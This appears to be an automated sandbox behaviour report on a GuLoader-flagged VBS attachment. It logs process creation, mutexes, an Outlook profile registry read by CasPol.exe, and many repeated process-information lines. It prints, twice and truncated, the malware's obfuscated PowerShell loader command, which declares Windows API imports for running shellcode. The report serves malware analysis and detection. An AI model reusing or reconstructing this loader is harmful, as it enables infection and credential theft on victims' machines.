Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3372:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:380:304:WilStaging_02

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:

Binary string: l8C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.pdb source: powershell.exe, 00000006.00000002.86750406025.0000000004961000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B45708 push C34C07A2h; ret	6_2_07B45716
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B45640 push C34C07A2h; ret	6_2_07B45716
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E3CD8 push cs; retf 5356h	12_2_010E3D4F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_0111B492 push 84DC2881h; retf	12_2_0111B497

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
